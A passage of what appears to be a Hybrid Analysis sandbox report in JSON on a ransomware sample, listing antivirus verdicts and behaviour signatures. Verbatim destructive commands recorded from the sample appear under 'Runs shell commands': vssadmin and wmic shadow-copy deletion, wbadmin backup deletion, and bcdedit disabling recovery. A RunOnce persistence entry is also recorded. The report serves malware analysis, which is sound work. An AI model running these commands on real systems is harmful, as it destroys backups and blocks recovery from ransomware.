efender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Ransom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Ransom]/Win32.AGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Downloader.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"DeepScan:Generic.Ransom.Amnesia.934B260C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.TrojanDownloader.Delf.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"DeepScan:Generic.Ransom.Amnesia.934B260C (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Filecoder.FS trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.FileCrypter","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 004f700b1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Ransom.Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXDM-JB!BF4F285617C6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Filecoder.fdattp","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"Ransom.Scarab.S28224363","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Trojan.Gen.2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.F5599FCC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.F5599FCC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.Encoder","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"mshta.exe\" at 00007877-00004032-00000105-12042167943\n \"mshta.exe\" at 00008111-00002396-00000105-15653903859\n \"mshta.exe\" at 00008114-00003080-00000105-15819859412\n \"vssadmin.exe\" at 00008349-00002556-00000105-27288930819\n \"WMIC.exe\" at 00008367-00001244-00000105-30420686455","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"mshta.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")\n \"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00007493-00003472-14853-239-0040AFE0\n GetLocalTime@KERNEL32.DLL at 00007493-00003472-14853-173-0040AFB4\n GetLocalTime@KERNEL32.DLL at 00007700-00003420-19349-239-0040AFE0\n GetLocalTime@KERNEL32.DLL at 00007700-00003420-19349-173-0040AFB4\n GetLocalTime@KERNEL32.DLL at 00007876-00003176-23703-239-0040AFE0\n GetLocalTime@KERNEL32.DLL at 00007876-00003176-23703-173-0040AFB4","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@kernel32.dll at 11409-1082-0040624C\n GetVersionExA@KERNEL32.DLL at 00007493-00003472-14853-834-0040D564\n GetVersionExA@KERNEL32.DLL at 00007700-00003420-19349-834-0040D564\n GetVersionExA@KERNEL32.DLL at 00007876-00003176-23703-834-0040D564","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@kernel32.dll at 11409-929-004061E4\n GetDiskFreeSpaceA@KERNEL32.DLL at 00007493-00003472-14853-701-00409DCC\n GetDiskFreeSpaceA@KERNEL32.DLL at 00007700-00003420-19349-701-00409DCC\n GetDiskFreeSpaceA@KERNEL32.DLL at 00007876-00003176-23703-701-00409DCC","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"WMIC.exe\" issued a query \"SELECT * FROM Win32_ShadowCopy\"","origin":"API Call","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"$28","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c copy /y \"C:\\LocalSecurityAuthorityProcess.bak.exe\" \"%APPDATA%\\Local Security Authority Process.exe\"\" on 2018-6-11.05:11:41.354\n \"/c copy /y \"C:\\LocalSecurityAuthorityProcess.bak.exe\" \"%APPDATA%\\Local Security Authority Process.exe\"\" on 2018-6-11.05:11:43.107\n \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" on 2018-6-11.05:13:47.353\n \"/c wmic SHADOWCOPY DELETE\" on 2018-6-11.05:13:47.433\n \"/c vssadmin Delete Shadows /All /Quiet\" on 2018-6-11.05:13:47.533\n \"/c bcdedit /set {default} recoveryenabled No\" on 2018-6-11.05:13:47.633\n \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" on 2018-6-11.05:13:47.753","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$29","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"\n \"Local Security Authority Process.exe\" connecting to \"\\ThemeApiPort\"\n \"mshta.exe\" connecting to \"\\ThemeApiPort\"\n \"WMIC.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"autoexec.bat\" has type \"data\"\n \"AXE8SharedExpat.dll\" has type \"data\"\n \"9rNtWnjTq9RGbU.exe\" has type \"data\"\n \"Eula.exe\" has type \"data\"\n \"ViewerPS.dll\" has type \"DOS executable (COM)\"\n \"ccme_asym.dll\" has type \"data\"\n \"AcroExt.exe\" has type \"data\"\n \"yZw6snqBQ28DAzu.exe\" has type \"data\"\n \"MineSweeper.lnk\" has type \"data\"\n \"BIB.dll\" has type \"data\"\n \"nppdf32.dll\" has type \"data\"\n \"BIBUtils.dll\" has type \"data\"\n \"rRgk91Ih5n.doc\" has type \"data\"\n \"dH1rDN9f9.doc\" has type \"data\"\n \"6SZfLTu9z.doc\" has type \"data\"\n \"icucnv40.dll\" has type \"data\"\n \"ScCore.dll\" has type \"data\"\n \"lCEf83Wf7e4nuIMk.doc\" has type \"data\"\n \"AcroTextExtractor.exe\" has type \"data\"\n \"C04T72pR0Bcl.doc\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"JMAHRDUU\"; Value: \"%APPDATA%\\Local Security Authority Process.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2a","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"d.bN/uv*y|SLw1rU$|I2]p\"\n Pattern match: \"https://file://ftp://http://http://https://ftp://*[-a-z0-9_]+..\\src\\TrustManagerCache.cppfalsehttps://ftp://..\\src\\TrustManagerCache.cppfalseSOFTWARE\\Policies\\Adobe\\Adobe\"\n Pattern match: \"http://crl.thawte.com/ThawteTimestampingCA.crl0U%0\"\n Pattern match: \"http://www.symauth.com/cps0(+0http://www.symauth.com/rpa04U-0+0)'%#http://crl.verisign.com/pca3-g5.crl0U%0++0U0*U#0!010UVeriSignMPKI-2-2140UB=1!myZ0U#0e0C93130\"\n Pattern match: \"https://d.symcb.com/cps0%+0https://d.symcb.com/rpa0+U$00\"\n Pattern match: \"sc.symcb.com/sc.crt0U#0B=1!myZ0\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"root\\cimv2\" (Indicator: \"root\\cimv2\")\n \"WMIC.exe\" (Indicator: \"wmic.exe\")","origin":"File/Memory","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"WMIC.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"WMIC.exe\" had access to \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" (Type: \"FileHandle\")","origin":"Touched Handle","relevance":7,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"Local Security Authority Process.exe\" opened \"\\Device\\KsecDD\"\n \"mshta.exe\" opened \"\\Device\\KsecDD\"\n \"vssadmin.exe\" opened \"\\Device\\KsecDD\"\n \"wbadmin.exe\" opened \"\\Device\\KsecDD\"\n \"WMIC.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"WMIC.exe\" wrote bytes \"40537e7758587f77186a7f77653c80770000000000bf93770000000056cc9377000000007cca93770000000037689b756a2c8077d62d80770000000020699b750000000029a6937700000000a48d9b7500000000f70e937700000000\" to virtual address \"0x779D1000\" (part of module \"NSI.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"LocalSecurityAuthorityProcess.bak.exe.bin\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"bcdedit.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Creates a resource fork (ADS) file (often used to hide data)","description":"\"cmd.exe\" created file \"%APPDATA%\\Local Security Authority Process.exe:Zone.Identifier\"","origin":"API Call","relevance":8,"id":"api-19","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Process deletes itself","description":"\"%APPDATA%\\Local Security Authority Process.exe\" deletes itself","origin":"API Call","relevance":10,"id":"api-27","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"$2b","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 16 calls to GetProcAddress@KERNEL32.DLL at 00007493-00003472-14853-139-004122E8\n Found 16 calls to GetProcAddress@KERNEL32.DLL at 00007700-00003420-19349-139-004122E8\n Found 16 calls to GetProcAddress@KERNEL32.DLL at 00007876-00003176-23703-139-004122E8","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to measure performance","description":"rdtsc at 00007493-00003472-14853-354-00420440\n rdtsc at 00007700-00003420-19349-354-00420440\n rdtsc at 00007876-00003176-23703-354-00420440","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-6","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"Found dropped filename \"PSPUBWS.contact\" containing the Windows username \"PSPUBWS\"","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Local Security Authority Process.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"vssadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00007493-00003472-14853-120-0042049C\n FindResourceA@KERNEL32.DLL at 00007700-00003420-19349-120-0042049C\n FindResourceA@KERNEL32.DLL at 00007876-00003176-23703-120-0042049C","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"C:\\Users\\desktop.ini\"\n \"\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"Local Security Authority Process.exe\" read file \"C:\\Users\\desktop.ini\"\n \"Local Security Authority Process.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"Local Security Authority Process.exe\" read file \"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AGMGPUOptIn.ini\"\n \"mshta.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"ViewerPS.dll\" has type \"DOS executable (COM)\"\n \"desktop.ini\" has type \"iAPX 286 executable small model (COFF) not stripped\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Pattern Matching","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00007493-00003472-14853-82-004254C4\n InternetReadFile@WININET.DLL at 00007700-00003420-19349-82-004254C4\n InternetReadFile@WININET.DLL at 00007876-00003176-23703-82-004254C4","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"$2c","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 806 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"Local Security Authority Process.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00007876-00003176-23703-141-00412564","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads system information using Windows Management Instrumentation Commandline (WMIC)","description":"Process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00008367-00001244)","origin":"Monitored Target","relevance":3,"id":"target-10","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$2d","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2e","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegDeleteKeyA\n RegCloseKey\n RegDeleteValueA\n RegCreateKeyExA\n RegOpenKeyExA\n RegEnumKeyExA\n GetFileAttributesA\n GetVersionExA\n GetModuleFileNameA\n LoadLibraryA\n FindNextFileW\n OpenProcess\n LockResource\n GetCommandLineW\n UnhandledExceptionFilter\n WinExec\n DeleteFileW\n GetProcAddress\n CreateThread\n GetModuleFileNameW\n GetModuleHandleA\n FindFirstFileA\n WriteFile\n GetStartupInfoA\n GetCommandLineA\n FindFirstFileW\n LoadLibraryExA\n TerminateProcess\n CreateFileW\n CreateProcessW\n Sleep\n GetTickCount\n FindResourceA\n VirtualAlloc\n ShellExecuteW\n InternetReadFile\n InternetOpenUrlA\n InternetCloseHandle\n InternetOpenA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$2f","origin":"File/Memory","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section 